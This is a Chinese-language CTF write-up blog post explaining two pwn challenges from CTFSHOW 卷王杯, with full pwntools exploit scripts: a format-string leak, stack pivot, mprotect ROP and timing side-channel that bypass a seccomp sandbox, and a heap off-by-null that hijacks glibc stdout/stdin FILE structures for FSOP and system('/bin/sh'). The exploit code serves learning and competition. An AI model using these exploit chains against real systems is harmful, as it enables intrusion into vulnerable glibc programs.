CTFSHOW卷王杯-pwn

CTFSHOW卷王杯-pwn

根据官方 wp 学习了两道好题

# check in

# 思路

发现开了 **sandbox** (之后再仔细分析),然后读入姓名那里有一个明显的格式化字符串漏洞,再之后可以读入 0x90 大小的数据,然而数组大小只有 0x80 ,很明显是一个栈溢出,但是溢出的长度非常短,只有 0x10 ,也就是只能覆盖 rbp 和 ret ,在程序的最后有 close(1) 关闭了标准输出的文件描述符,也就是我们无法泄露任何信息,包括最终得到的 flag ,最后再看下此题的保护:没有开 **Canary** 和 **PIE** 保护。

首先,格式化字符串的利用方式很显然,可以用于泄露 **libc** :通过泄露 __libc_start_main + 243 ,即可得到 libc_base 。

再来看栈溢出该如何利用,既然我们只能覆盖到 rbp 和 ret ,其中 ret 是跳转执行的地址,那么就可以考虑何处受 rbp 控制,又方便我们利用,不难想到 read 的时候,是将 0x90 的数据读到栈上的,而栈上的地址就受 rbp 控制,由汇编:

1
2
3
4
5
0x4013dd <main+163>:    lea    rax,[rbp-0x80]
0x4013e1 <main+167>: mov edx,0x90
0x4013e6 <main+172>: mov rsi,rax
0x4013e9 <main+175>: mov edi,0x0
0x4013ee <main+180>: call 0x401100 <read@plt>

可见, read 的第二个参数 rsi (写入数据的地址)就是 rbp-0x80 中的内容,因此,我们可以通过控制 **rbp** 为 **bss** 段上的某地址,然后再通过 **ret** 跳转到 **0x4013dd** 的位置,即可往 **bss** 段上写入内容,再之后通过一个栈迁移,即可跳转到我们读到 bss 段上的 gadget 并执行。

最后,我们来看一下这个 sandbox ,是个黑名单,禁用 socket 那些主要就是为了防止重启输出流造成非预期的,可以先不用管,主要就是发现禁用了 open 的系统调用和 read 相关的系统调用,虽然没有禁 write 相关的系统调用,但是由于有 close(1) ,所以也无法输出,这看似是无法 orw 了,不过仔细分析后可以发现: open 的系统调用虽然被禁用了,但是我们可以用 **openat** 系统调用来代替 **open** 系统调用( libc 中的 open 函数就是对 openat 这个底层系统调用的封装), openat 分绝对路径和相对路径两种写法, exp 中都给出了;再来看 read ,注意到 read 相关的系统调用并非全部被禁用了,当 read 的 fd 为 0 时, read 是可用的,对于常规 orw 来说,先 open 一个文件,由于 0,1,2 都分别被标准输入,输出,报错给占用了,所以文件描述符是从 3 开始的,而若是我们在 open 前,先 **close(0)** ,再 **open** 的话,我们打开的文件的描述符就是 **0** 了,我们也就可以 **read** 读取文件内容了;最后,对于 write 来说,可以采用 **“侧信道攻击” 的方式,就是对 flag 的每一位进行爆破,与我们已经 read 读入到内存中的真实 flag 进行比对,比如,若是相等就触发死循环,那么我们就可以通过判断接收数据用了多久来判断猜测是否正确了,在当前假设下,若是超过了 1 秒,则说明我们这一位爆破猜测成功了,当然,我这里写了一个 “二分法” 的版本,不然会耗费很长时间(其实, CTFshow 的 flag 好像用的是 uuid 字符串,也就是 {} 中的内容仅局限于 -0123456789abcdef 这几个字符,因此,应该还能进一步缩短我 exp 的爆破时长)。由于 “侧信道攻击” 最好使用 shellcode 来实现,故在之前需要用 mprotect 的 gadget 链改一下 bss 段的可执行权限,而一次性只能读入 0x80 大小的数据,可能无法将 orw 的 shellcode 和 mprotect 的 gadget 一起读进 bss 段,因此,我们可以先写一小段 ** **shellcode** 作为跳板和 mprotect 的 gadget 一起读入到 bss 段,再通过这个跳板,将 orw 的 shellcode 读到 bss 段上并跳转执行

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
context(os = "linux", arch = "amd64")

possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

elf = ELF("./checkin")
libc = ELF('./libc-2.30.so')
bss_addr = elf.bss() + 0x500
read_addr = 0x4013DD
leave_addr = 0x401402

def pwn(pos, char):
io.sendlineafter(b"name :\n", b'%25$p')
io.recvuntil(b"Hello, ")
libc_base = int(io.recv(14)[2:], 16) - 243 - libc.sym['__libc_start_main']
payload = b'\x00'*0x80 + p64(bss_addr + 0x80) + p64(read_addr)
io.sendafter(b"check in :\n", payload)

shellcode_read = f'''
xor rax, rax
xor rdi, rdi
push {bss_addr+0x100}
pop rsi
push 0x100
pop rdx
syscall
jmp rsi
'''
pop_rdi_ret = libc_base + 0x26bb2
pop_rsi_ret = libc_base + 0x2709c
pop_rdx_r12_ret = libc_base + 0x11c421
mprotect_addr = libc_base + libc.sym['mprotect']
payload = p64(pop_rdi_ret) + p64(bss_addr & 0xfffff000) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect_addr)
payload += p64(bss_addr + len(payload) + 8) + asm(shellcode_read)
payload = payload.ljust(0x80, b'\x00') + p64(bss_addr - 8) + p64(leave_addr)
sleep(0.1)
io.send(payload)

shellcode_main = f'''
/* close(0) */
push 3
pop rax
xor rdi, rdi
syscall
/* openat("/flag") */
push 257
pop rax
/* ( absolute path ) */
mov rsi, 0x67616c662f
push rsi
mov rsi, rsp
/*
( relative path )
push -100
pop rdi
push 0x67616c66
push rsp
pop rsi
*/
syscall
/* read flag */
xor rax, rax
xor rdi, rdi
mov rsi, rsp
push 0x50
pop rdx
syscall
/* blow up flag */
mov al, byte ptr[rsi+{pos}]
cmp al, {char}
ja $-2
ret
'''
sleep(0.1)
io.send(asm(shellcode_main))

if __name__ == '__main__' :
start = time.time()
pos = 0
flag = ""
while True:
left, right = 0, len(possible_list)-1
while left < right :
mid = (left + right) >> 1
io = remote("pwn.challenge.ctf.show", 28102)
pwn(pos, ord(possible_list[mid]))
s = time.time()
io.recv(timeout = 1)
t = time.time()
io.close()
if t - s > 1 :
left = mid + 1
else :
right = mid
flag += possible_list[left]
info(flag)
if possible_list[left] == '}' :
break
pos = pos + 1
success(flag)
end = time.time()
success("time:\t" + str(end - start) + "s")

# Incomplete Menu

# 思路

这题给出了一个不完整的菜单,只有 new 和 edit , new 就是新建一个 ** 任意大小(无限制)** 的堆块,最多只可以创建 5 个堆块, edit 可以输入需要读进某堆块中内容的长度 len ,如果输入的长度 len 超过了该堆块的大小 size ,则实际读入长度 Len = size ,否则 Len = len 。漏洞点在于:在将读入内容的最后一字节改为 \x00 的时候,长度用的是用户输入的长度 len ,而并非实际读入的长度 Len ,这样就会导致某堆块后面的任意某字节会被 “刷零”,不过每个堆块只能被 edit 一次。

没有 show ,不能泄露信息,不过有走 IO 流输出的函数,如 puts 和 printf ,因此容易想到通过劫持 stdout 来进行信息泄露,没有 delete 函数,不能对堆块进行 free ,其实可以通过漏洞改 top chunk 的 size ,将它改小以后(要保证后三位不动),再申请一个大堆块,就能将原先的 top chunk 给 free 调了,不过在这里貌似并没有太大的用处。

我们只有这一个可利用的漏洞,又需要劫持到 stdout ,那就需要知道 stdout 与堆块地址的偏移,对于一般的堆块,其地址与 libc 地址的偏移肯定是无法确定的,但是这题可以申请任意大的堆块,也就是可以通过 mmap 申请堆块,而 **mmap** 申请出来的堆块,是紧接在 **libc** 的上方的,其地址与 **libc** 中地址的偏移是可以确定的,这里可以通过将 **_IO_2_1_stdout_** 的 **_IO_read_end** 和 **_IO_write_base** 的最后一字节都改为 **\x00** ,这样他们就相等了,也就可以通过走 IO 的输出函数泄露出其中( _IO_write_base ~ _IO_write_ptr )包含的 libc 地址,进而得到 libc_base 。

泄露出 libc_base 之后,我们肯定是需要一个 “任意写” 漏洞,劫持一些函数或者 IO 流这些才能完成攻击。不难想到,可以通过劫持 stdin 来实现,这里我们按照和上面类似的方式,修改 **_IO_2_1_stdin_** 的 **_IO_buf_base** 中的最后一字节为 **\x00** ,这时, _IO_buf_base 正好指向了 _IO_2_1_stdin_ ,而我们读入的时候,用的是 fgets ,这是一个走 IO 流的读入函数(这个函数就是读一整行到 stdin 缓冲区,然后再从缓冲区取出指定长度的数据,因此读数据会被 \n 截断,或者已经从缓冲区取到了所需长度的数据,也不再会刷新缓冲区往后读取数据了),因此,我们可以通过 fgets 读入任意内容到被伪造的 _IO_buf_base ( _IO_2_1_stdin_ )处,这样就可以再劫持一次 stdin 进行任意写了,我们读入多少字节到缓冲区, _IO_read_end 就会相应加多少,从缓冲区读取多少字节到目标内存, _IO_read_ptr 就会相应加多少,不过,最多也只能一次性读入 _IO_buf_end - _IO_buf_base 大小的数据到缓冲区,如果还需要读入,则会刷新缓冲区,一次也最多只能读取 _IO_read_end - _IO_read_ptr 大小的合法数据到目标内存,此时,由于 _IO_buf_end 为 _IO_buf_base + 132 ,因此,我们只有读满 **132** 个字节,才有机会按我们第一次劫持 **stdin** 后,读入到 **_IO_buf_base** 中的值(记为 **_IO_buf_base(new)** )刷新缓冲区,只有刷新完缓冲区之后,才能按照我们的设想进行第二次 **stdin** 的劫持。这里需要注意的是,在第一次完成 stdin 的劫持,读入 132 字节的内容到 _IO_2_1_stdin_ 中之后,会尝试从缓冲区取 16 个字节到目标内存,如果成功取出了 16 个字节,也就满足了 fgets 的需要,那么也就不会刷新缓冲区了,我们也就不能对 stdin 进行第二次劫持了。在这里, glibc 是通过判断 **_IO_read_ptr** 是否小于 **_IO_read_end** 来判断缓冲区中是否还有剩余的数据,因此,我们可以在第一次劫持 stdin 往 _IO_2_1_stdin_ 中写内容的时候,修改其中的 **_IO_read_ptr** 等于 **_IO_read_end** ,这里的 _IO_read_end 是指读完 132 个字节后的值( _IO_buf_base(new) + 132 ),也就是需要 _IO_read_ptr = _IO_buf_base(new) + 132 ,其实,这里也不一定是要加上 132 ,略小一点,只要保证和 _IO_read_end 差值不足大约 16 个字节,可以有刷新缓冲区的机会即可,并且, glibc 源码中也只是判断了 _IO_read_ptr 是否小于 _IO_read_end ,故还可以将 _IO_read_ptr 改为大于 _IO_read_end ,比如 _IO_read_ptr = _IO_buf_base(new) + 200 也行。在这里,我是通过劫持 **IO_list_all** 来打 **FSOP** 的,通过读取 choice 的 fgets 进行 “任意写” 以后,由于获取到的值并非菜单中的选项 1 或 2 ,就会走到 exit ,直接触发 FSOP 。

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(arch='amd64', log_level='debug')

io = remote("pwn.challenge.ctf.show",28121)
# io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc-2.27.so")

def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset

def new(size):
io.sendlineafter(">> ", "1")
io.sendlineafter(">> ", str(size))

def edit(index, length, content):
io.sendlineafter(">> ", "2")
io.sendlineafter(">> ", str(index))
io.sendlineafter(">> ", str(length))
io.sendafter(">> ", content)

def new_x(size):
io.sendline("1")
sleep(0.1)
io.sendline(str(size))

def edit_x(index, length, content):
io.sendline("2")
sleep(0.1)
io.sendline(str(index))
sleep(0.1)
io.sendline(str(length))
sleep(0.1)
io.send(content)

new(0x200000);
edit(0, 0x201000 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x10 + 1, '\n') # _IO_read_end
new_x(0x200000);
edit_x(1, 0x201000 * 2 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x20 + 1, '\n') # _IO_write_base
libc_base = u64(io.recvline()[8:16]) - libc.sym['__free_hook'] + 0x38 # _IO_stdfile_2_lock (_IO_2_1_stderr_.file._lock)
success("libc_base:\t" + hex(libc_base))

payload = p64(0)*5 + p64(1) + p64(0) + p64(libc_base + next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc_base + libc.sym['system'])
new(0x200000);
edit(2, 0x201000 * 3 - 0x10 + libc.sym['_IO_2_1_stdin_'] + 0x38 + 1, payload) # _IO_buf_base

payload = p64(0xfbad208b) # _flags
payload += p64(libc_base + libc.sym['_IO_list_all'] + 132) # _IO_read_ptr
payload += p64(libc_base + libc.sym['_IO_list_all']) * 6
payload += p64(libc_base + libc.sym['_IO_list_all'] + 0x10) # _IO_buf_end
payload = payload.ljust(132, b'\x00') + p64(libc_base - (0x201000 * 3 - 0x10))
io.sendlineafter(">> ", payload)
io.interactive()

# 参考

ctfshow 卷王杯官方 wp

Author

y1seco

Posted on

2022-02-27

Updated on

2022-02-27

Licensed under

Comments

:D 一言句子获取中...